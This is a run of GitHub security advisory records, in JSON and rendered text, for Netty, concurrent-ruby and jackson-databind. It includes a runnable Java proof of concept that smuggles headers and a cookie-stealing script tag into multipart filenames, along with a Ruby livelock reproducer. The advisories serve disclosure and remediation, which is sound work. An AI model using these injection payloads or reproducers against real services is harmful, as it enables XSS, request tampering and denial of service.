"details": "# Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-http multipart) |\n| **Component** | `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting |\n| **Impact** | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition |\n| **CVSS 3.1 Score** | **8.1 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low (attacker must be able to upload files with controlled filenames) |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-http` module are affected:\n\n- `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` \u2014 directly concatenates unvalidated filename/name into `Content-Disposition` MIME headers (lines 519, 633, 674, 682, 686-688)\n- `io.netty.handler.codec.http.multipart.DiskFileUpload` \u2014 `setFilename()` only checks null (line 78)\n- `io.netty.handler.codec.http.multipart.MemoryFileUpload` \u2014 `setFilename()` only checks null (line 60)\n- `io.netty.handler.codec.http.multipart.MixedFileUpload` \u2014 `setFilename()` delegates without validation (line 62)\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpPostRequestEncoder` constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into `Content-Disposition` MIME headers **without validating or sanitizing CRLF characters** (`\\r\\n`). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.\n\n### Root Cause\n\nIn `HttpPostRequestEncoder.java`, multiple code paths directly embed `fileUpload.getFilename()` into header strings:\n\n```java\n// Line 674 (attachment mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \"\n + HttpHeaderValues.ATTACHMENT + \"; \"\n + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Lines 686-688 (form-data mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n + HttpHeaderValues.NAME + \"=\\\"\" + fileUpload.getName() + \"\\\"; \"\n + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Line 519 (attribute name):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n + HttpHeaderValues.NAME + \"=\\\"\" + attribute.getName() + \"\\\"\\r\\n\");\n// ^^^^^^^^^^^^^^^^^ NO VALIDATION\n```\n\nThe `setFilename()` method in all `FileUpload` implementations only checks for null:\n\n```java\n// DiskFileUpload.java:77-79\npublic void setFilename(String filename) {\n this.filename = ObjectUtil.checkNotNull(filename, \"filename\");\n // NO CRLF VALIDATION\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the same pattern as:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder \u2014 SMTP command injection | Added CRLF validation in `SmtpUtils.validateSMTPParameters()` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder \u2014 CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` |\n\nThe multipart encoder has **no equivalent validation** for filenames or field names.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. The application uses Netty\u0027s `HttpPostRequestEncoder` to construct multipart HTTP requests\n2. The filename of an uploaded file is derived from user-controlled input\n3. The application does **not** perform its own CRLF sanitization on filenames\n\n**Common affected patterns**:\n- File upload proxies that forward user-supplied filenames\n- API gateways that construct multipart requests from incoming parameters\n- Microservice communication that passes filenames between services\n- Testing/automation frameworks that use Netty HTTP client with user-defined filenames\n\n## 5. Attack Scenarios\n\n### Scenario 1: Content-Type Override via Filename Injection\n\nAn attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:\n\n```java\nString maliciousFilename = \"photo.jpg\\\"\\r\\nContent-Type: text/html\\r\\n\\r\\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\r\\n--\";\n\nDiskFileUpload upload = new DiskFileUpload(\n \"avatar\", maliciousFilename, \"image/jpeg\", \"binary\", UTF_8, fileSize);\n```\n\n**Wire format:**\n```\n--boundary\ncontent-disposition: form-data; name=\"avatar\"; filename=\"photo.jpg\"\nContent-Type: text/html \u003c-- INJECTED: overrides image/jpeg\n\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e \u003c-- INJECTED: XSS payload\n--\"\ncontent-type: image/jpeg \u003c-- Original (now ignored by many parsers)\n...\n```\n\nIf the receiving server parses the **first** `Content-Type`, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.\n\n### Scenario 2: Arbitrary MIME Header Injection\n\n```java\nString filename = \"doc.pdf\\\"\\r\\nX-Custom-Auth: admin-token-12345\\r\\nX-Bypass-Check: true\";\n```\n\nInjects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.\n\n### Scenario 3: Multipart Boundary Confusion\n\n```java\nString filename = \"file.txt\\\"\\r\\n\\r\\nmalicious body content\\r\\n--boundary\\r\\nContent-Disposition: form-data; name=\\\"secret\";\n```\n\nBy injecting a new boundary delimiter, the attacker can:\n- Terminate the current body part prematurely\n- Start a new body part with a different field name\n- Override form fields processed by the server\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.handler.codec.http.*;\nimport io.netty.handler.codec.http.multipart.*;\n\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.nio.charset.StandardCharsets;\n\n/**\n * PoC: HTTP Multipart Content-Disposition Header Injection via Filename\n *\n * Demonstrates that HttpPostRequestEncoder does not validate filenames\n * for CRLF characters, allowing injection of arbitrary MIME headers\n * into multipart form data.\n */\npublic class MultipartFilenameInjectionPoC {\n\n public static void main(String[] args) throws Exception {\n System.out.println(\"=== Netty Multipart Filename CRLF Injection PoC ===\\n\");\n\n testFilenameInjection();\n\n System.out.println(\"\\n=== PoC Complete ===\");\n }\n\n static void testFilenameInjection() throws Exception {\n System.out.println(\"[TEST 1] Filename CRLF Injection in Content-Disposition\");\n System.out.println(\"-------------------------------------------------------\");\n\n // Create a temporary file for upload\n File tempFile = File.createTempFile(\"test\", \".txt\");\n tempFile.deleteOnExit();\n try (FileWriter fw = new FileWriter(tempFile)) {\n fw.write(\"test content\");\n }\n\n // Malicious filename with CRLF to inject Content-Type header\n String maliciousFilename =\n \"innocent.txt\\\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\" +\n \"\u003cscript\u003ealert(1)\u003c/script\u003e\\r\\n--\";\n\n HttpRequest request = new DefaultHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.POST, \"/upload\");\n\n HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(\n new DefaultHttpDataFactory(false), request, true,\n StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);\n\n DiskFileUpload fileUpload = new DiskFileUpload(\n \"file\", maliciousFilename, \"application/octet-stream\",\n \"binary\", StandardCharsets.UTF_8, tempFile.length());\n fileUpload.setContent(tempFile);\n\n encoder.addBodyHttpData(fileUpload);\n encoder.finalizeRequest();\n\n // Read the encoded multipart body\n StringBuilder body = new StringBuilder();\n while (!encoder.isEndOfInput()) {\n HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());\n if (chunk != null) {\n body.append(chunk.content().toString(StandardCharsets.UTF_8));\n chunk.release();\n }\n }\n encoder.cleanFiles();\n\n String encoded = body.toString();\n System.out.println(\"Malicious filename: \" +\n maliciousFilename.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\"));\n System.out.println();\n System.out.println(\"Encoded multipart body:\");\n System.out.println(\"---\");\n for (String line : encoded.split(\"\\n\", -1)) {\n System.out.println(\" \" + line.replace(\"\\r\", \"\\\\r\"));\n }\n System.out.println(\"---\");\n\n boolean hasInjectedHeader = encoded.contains(\"X-Injected: true\");\n boolean hasInjectedScript = encoded.contains(\"\u003cscript\u003e\");\n System.out.println();\n System.out.println(\"Injected X-Injected header: \" + hasInjectedHeader);\n System.out.println(\"Injected script tag: \" + hasInjectedScript);\n System.out.println(\"VULNERABLE: \" +\n ((hasInjectedHeader || hasInjectedScript) ?\n \"YES - MIME header injection!\" : \"NO\"));\n\n tempFile.delete();\n }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests)\n./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \\\n -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \\\n -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \\\n -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Compile and run\njavac -cp \"$JARS\" MultipartFilenameInjectionPoC.java\njava -cp \"$JARS:.\" MultipartFilenameInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Multipart Filename CRLF Injection PoC ===\n\n[TEST 1] Filename CRLF Injection in Content-Disposition\n-------------------------------------------------------\nMalicious filename: innocent.txt\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\u003cscript\u003ealert(1)\u003c/script\u003e\\r\\n--\n\nEncoded multipart body:\n---\n --88aaade41dbb9f9f\\r\n content-disposition: form-data; name=\"file\"; filename=\"innocent.txt\"\\r\n Content-Type: text/html\\r \u003c-- INJECTED\n X-Injected: true\\r \u003c-- INJECTED\n \\r\n \u003cscript\u003ealert(1)\u003c/script\u003e\\r \u003c-- INJECTED XSS\n --\"\\r\n content-length: 12\\r\n content-type: application/octet-stream\\r\n content-transfer-encoding: binary\\r\n \\r\n test content\\r\n --88aaade41dbb9f9f--\\r\n---\n\nInjected X-Injected header: true\nInjected script tag: true\nVULNERABLE: YES - MIME header injection!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH \u2014 Injected headers may bypass access controls or leak tokens |\n| **Integrity** | HIGH \u2014 Content-Type override enables stored XSS; field name injection allows form data manipulation |\n| **Content-Type Spoofing** | Override `application/octet-stream` to `text/html` to serve executable content |\n| **Stored XSS** | Inject `\u003cscript\u003e` tags via Content-Type override when uploaded files are served back |\n| **Form Field Override** | Inject new multipart boundaries to create/override form fields |\n| **Downstream Injection** | Custom MIME headers may affect middleware, CDN, or storage layer behavior |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in FileUpload.setFilename() (Recommended)\n\n```java\n// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java\npublic void setFilename(String filename) {\n ObjectUtil.checkNotNull(filename, \"filename\");\n for (int i = 0; i \u003c filename.length(); i++) {\n char c = filename.charAt(i);\n if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027) {\n throw new IllegalArgumentException(\n \"filename contains prohibited CRLF character at index \" + i);\n }\n }\n this.filename = filename;\n}\n```\n\n### Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)\n\nEscape or reject CRLF characters when building Content-Disposition headers:\n\n```java\n// HttpPostRequestEncoder.java - add helper method\nprivate static String sanitizeHeaderParam(String value) {\n for (int i = 0; i \u003c value.length(); i++) {\n char c = value.charAt(i);\n if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027 || c == \u0027\"\u0027) {\n throw new ErrorDataEncoderException(\n \"Multipart parameter contains prohibited character at index \" + i);\n }\n }\n return value;\n}\n\n// Then use in Content-Disposition construction:\ninternal.addValue(... + \"=\\\"\" + sanitizeHeaderParam(fileUpload.getFilename()) + \"\\\"\\r\\n\");\n```\n\n### Option 3: RFC 2231/5987 Encoding for Filenames\n\nUse proper RFC 2231 encoding for filenames with special characters:\n\n```java\n// Encode filename per RFC 5987:\n// filename*=UTF-8\u0027\u0027encoded%20filename\nString encodedFilename = \"UTF-8\u0027\u0027\" + URLEncoder.encode(filename, \"UTF-8\");\ninternal.addValue(... + \"filename*=\" + encodedFilename + \"\\r\\n\");\n```\n\n## 9. References\n\n- [RFC 2183: Content-Disposition Header Field](https://tools.ietf.org/html/rfc2183)\n- [RFC 7578: Returning Values from Forms: multipart/form-data](https://tools.ietf.org/html/rfc7578)\n- [RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters](https://tools.ietf.org/html/rfc5987)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)",
"id": "GHSA-gcjf-9mgh-3p7g",
"modified": "2026-07-22T21:52:55Z",
"published": "2026-07-22T21:52:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder"
}
GHSA-H8W8-99G7-QMVJ
Vulnerability from github – Published: 2026-06-19 20:47 – Updated: 2026-08-05 17:36Summary
Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.
The issue is caused by the interaction between:
- AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds.
- Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.
- Ruby NaN semantics, where Float::NAN == Float::NAN is always false.
As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.
Version
Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab
Details
AtomicReference#update retries until compare_and_set returns true:
def update
true until compare_and_set(old_value = get, new_value = yield(old_value))
new_value
end
For numeric expected values, compare_and_set uses numeric equality before attempting the underlying atomic compare-and-set:
def compare_and_set(old_value, new_value)
if old_value.kind_of? Numeric
while true
old = get
return false unless old.kind_of? Numeric
return false unless old == old_value
result = _compare_and_set(old, new_value)
return result if result
end
else
_compare_and_set(old_value, new_value)
end
end
When the stored value is Float::NAN, old_value = get returns NaN. The later comparison old == old_value is false because NaN is not equal to itself. compare_and_set therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.
This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.
PoC
#!/usr/bin/env ruby
# frozen_string_literal: true
require 'concurrent/atomic/atomic_reference'
require 'concurrent/version'
puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"
ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false
worker = Thread.new do
ref.update do |_old_value|
attempts += 1
0.0
end
finished = true
end
sleep 0.25
puts "nan_update_attempts_after_250ms=#{attempts}"
puts "nan_update_finished=#{finished}"
puts "nan_update_worker_alive=#{worker.alive?}"
if worker.alive? && !finished && attempts > 1000
puts 'result=REPRODUCED busy retry loop; update did not complete'
else
puts 'result=NOT_REPRODUCED'
end
worker.kill
worker.join
control = Concurrent::AtomicReference.new(1.0)
control_attempts = 0
control_result = control.update do |old_value|
control_attempts += 1
old_value + 1.0
end
puts "control_update_result=#{control_result.inspect}"
puts "control_update_attempts=#{control_attempts}"
puts "control_update_final_value=#{control.value.inspect}"
Log evidence
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=AtomicReference#update livelock when current value is Float::NAN
nan_update_attempts_after_250ms=1926016
nan_update_finished=false
nan_update_worker_alive=true
result=REPRODUCED busy retry loop; update did not complete
control_update_result=2.0
control_update_attempts=1
control_update_final_value=2.0
Impact
This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "concurrent-ruby"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54904"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T20:47:35Z",
"nvd_published_at": "2026-06-24T17:17:29Z",
"severity": "HIGH"
},
"details": "### Summary\n`Concurrent::AtomicReference#update` can enter a permanent busy retry loop when the current value is `Float::NAN`.\n\nThe issue is caused by the interaction between:\n- `AtomicReference#update`, which retries until `compare_and_set(old_value, new_value)` succeeds.\n- Numeric `compare_and_set`, which checks `old == old_value` before attempting the underlying atomic swap.\n- Ruby NaN semantics, where `Float::NAN == Float::NAN` is always `false`.\n\nAs a result, once an `AtomicReference` contains `Float::NAN`, calling `#update` repeatedly evaluates the caller\u0027s block and never returns. In services that store externally derived numeric values in an `AtomicReference`, this can cause CPU exhaustion or permanent request/job hangs.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n### Details\n\n`AtomicReference#update` retries until `compare_and_set` returns true:\n\n```ruby\ndef update\n true until compare_and_set(old_value = get, new_value = yield(old_value))\n new_value\nend\n```\n\nFor numeric expected values, `compare_and_set` uses numeric equality before attempting the underlying atomic compare-and-set:\n\n```ruby\ndef compare_and_set(old_value, new_value)\n if old_value.kind_of? Numeric\n while true\n old = get\n\n return false unless old.kind_of? Numeric\n return false unless old == old_value\n\n result = _compare_and_set(old, new_value)\n return result if result\n end\n else\n _compare_and_set(old_value, new_value)\n end\nend\n```\n\nWhen the stored value is `Float::NAN`, `old_value = get` returns NaN. The later comparison `old == old_value` is false because NaN is not equal to itself. `compare_and_set` therefore returns false every time. `AtomicReference#update` treats that as a failed concurrent update and retries forever.\n\nThis is reachable through the public `Concurrent::AtomicReference` API and does not require native extensions or undefined behavior.\n\n### PoC\n\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire \u0027concurrent/atomic/atomic_reference\u0027\nrequire \u0027concurrent/version\u0027\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=AtomicReference#update livelock when current value is Float::NAN\"\n\nref = Concurrent::AtomicReference.new(Float::NAN)\nattempts = 0\nfinished = false\n\nworker = Thread.new do\n ref.update do |_old_value|\n attempts += 1\n 0.0\n end\n finished = true\nend\n\nsleep 0.25\n\nputs \"nan_update_attempts_after_250ms=#{attempts}\"\nputs \"nan_update_finished=#{finished}\"\nputs \"nan_update_worker_alive=#{worker.alive?}\"\n\nif worker.alive? \u0026\u0026 !finished \u0026\u0026 attempts \u003e 1000\n puts \u0027result=REPRODUCED busy retry loop; update did not complete\u0027\nelse\n puts \u0027result=NOT_REPRODUCED\u0027\nend\n\nworker.kill\nworker.join\n\ncontrol = Concurrent::AtomicReference.new(1.0)\ncontrol_attempts = 0\ncontrol_result = control.update do |old_value|\n control_attempts += 1\n old_value + 1.0\nend\n\nputs \"control_update_result=#{control_result.inspect}\"\nputs \"control_update_attempts=#{control_attempts}\"\nputs \"control_update_final_value=#{control.value.inspect}\"\n```\n### Log evidence\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=AtomicReference#update livelock when current value is Float::NAN\nnan_update_attempts_after_250ms=1926016\nnan_update_finished=false\nnan_update_worker_alive=true\nresult=REPRODUCED busy retry loop; update did not complete\ncontrol_update_result=2.0\ncontrol_update_attempts=1\ncontrol_update_final_value=2.0\n```\n\n### Impact\nThis is an application-level denial of service issue. If an application stores externally derived numeric data in a `Concurrent::AtomicReference`, an attacker or faulty upstream data source may be able to cause the stored value to become `Float::NAN`. Any later call to `AtomicReference#update` on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))",
"id": "GHSA-h8w8-99g7-qmvj",
"modified": "2026-08-05T17:36:06Z",
"published": "2026-06-19T20:47:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54904"
},
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/commit/6e37e0644b83b182971dc540d2e4bee38df61386"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby-concurrency/concurrent-ruby"
},
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/releases/tag/v1.3.7"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/concurrent-ruby/CVE-2026-54904.yml"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54904"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`"
}
GHSA-HGJ6-7826-R7M5
Vulnerability from github – Published: 2026-06-23 21:22 – Updated: 2026-07-20 21:21Summary
JDKFromStringDeserializer constructed InetSocketAddress with new InetSocketAddress(host, port), which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an InetSocketAddress field issues an attacker-chosen DNS query during readValue, before any application-level validation or connect logic. The fix uses InetSocketAddress.createUnresolved(host, port), deferring DNS to an explicit connect.
Impact
An attacker controlling JSON deserialized into an InetSocketAddress-bearing type can force outbound DNS lookups for attacker-chosen hostnames at deserialization time (SSRF / DNS-based out-of-band interaction / internal-resolver probing), purely from binding.
Affected / Patched (verified via git tag --contains on 1f5a103)
- 2.18 line:
>= 2.18.0, < 2.18.8-> fixed in 2.18.8 - 2.19-2.21 line:
>= 2.19.0, < 2.21.4-> fixed in 2.21.4 - 3.x line:
>= 3.0.0, < 3.1.4-> fixed in 3.1.4
Severity / CWE
Maintainer: minor. Reporter: LOW. CWE-918 (SSRF).
Upstream fix
FasterXML/jackson-databind#5951 ("Improve InetSocketAddress deserialization"). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.
Credits
Omkhar Arasaratnam (@omkhar) - finder.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.18.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54514"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T21:22:54Z",
"nvd_published_at": "2026-06-23T21:17:02Z",
"severity": "MODERATE"
},
"details": "## Summary\n`JDKFromStringDeserializer` constructed `InetSocketAddress` with `new InetSocketAddress(host, port)`, which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an `InetSocketAddress` field issues an attacker-chosen DNS query during `readValue`, before any application-level validation or connect logic. The fix uses `InetSocketAddress.createUnresolved(host, port)`, deferring DNS to an explicit connect.\n\n## Impact\nAn attacker controlling JSON deserialized into an `InetSocketAddress`-bearing type can force outbound DNS lookups for attacker-chosen hostnames at deserialization time (SSRF / DNS-based out-of-band interaction / internal-resolver probing), purely from binding.\n\n## Affected / Patched (verified via `git tag --contains` on `1f5a103`)\n- 2.18 line: `\u003e= 2.18.0, \u003c 2.18.8` -\u003e fixed in **2.18.8**\n- 2.19-2.21 line: `\u003e= 2.19.0, \u003c 2.21.4` -\u003e fixed in **2.21.4**\n- 3.x line: `\u003e= 3.0.0, \u003c 3.1.4` -\u003e fixed in **3.1.4**\n\n## Severity / CWE\nMaintainer: minor. Reporter: LOW. CWE-918 (SSRF).\n\n## Upstream fix\nFasterXML/jackson-databind#5951 (\"Improve InetSocketAddress deserialization\"). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.\n\n## Credits\nOmkhar Arasaratnam (@omkhar) - finder.",
"id": "GHSA-hgj6-7826-r7m5",
"modified": "2026-07-20T21:21:18Z",
"published": "2026-06-23T21:22:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-hgj6-7826-r7m5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54514"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/5951"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/1f5a1037b1e9e05920e755cb35f198bcd46667e4"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind: InetSocketAddress deserialization triggers eager DNS resolution (SSRF)"
}
GHSA-HVCG-QMG6-JM4C
Vulnerability from github – Published: 2026-06-15 20:46 – Updated: 2026-06-15 20:46Summary
Before reading the first request-line, HttpObjectDecoder skips every byte for which
Character.isISOControl(b) is true (0x00–0x1F and 0x7F) as well as all whitespace.
RFC 9112 §2.2 only asks servers to ignore empty CRLF lines preceding the request-line —
a carefully scoped robustness allowance intended to handle HTTP/1.0 POST workarounds.
Silently absorbing NUL bytes, SOH, STX, and other non-CRLF control characters goes
significantly beyond this, and can be exploited for request-boundary confusion in pipelined
or multiplexed transports where a front-end component treats those bytes differently.
Affected Code
| File | Lines | Role |
|---|---|---|
codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java |
1298–1313 | ISO_CONTROL_OR_WHITESPACE static initialiser — marks all ISO control chars |
codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java |
1307–1313 | SKIP_CONTROL_CHARS_BYTES ByteProcessor — skips the entire set |
codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java |
1275–1289 | LineParser.skipControlChars — advances readerIndex past all matching bytes |
Specification Analysis
RFC 9112 §2.2 — Message Parsing
In the interest of robustness, a server that is expecting to receive and parse a request-line SHOULD ignore at least one empty line (CRLF) received prior to the request-line.
An HTTP/1.1 user agent MUST NOT preface or follow a request with an extra CRLF.
Deviation
The RFC names a single permitted exception: an empty line (bare CRLF, i.e. the two-byte
sequence \r\n). The ISO_CONTROL_OR_WHITESPACE table is initialised as:
for (byte b = Byte.MIN_VALUE; b < Byte.MAX_VALUE; b++) {
ISO_CONTROL_OR_WHITESPACE[128 + b] =
Character.isISOControl(b) || isWhitespace(b);
}
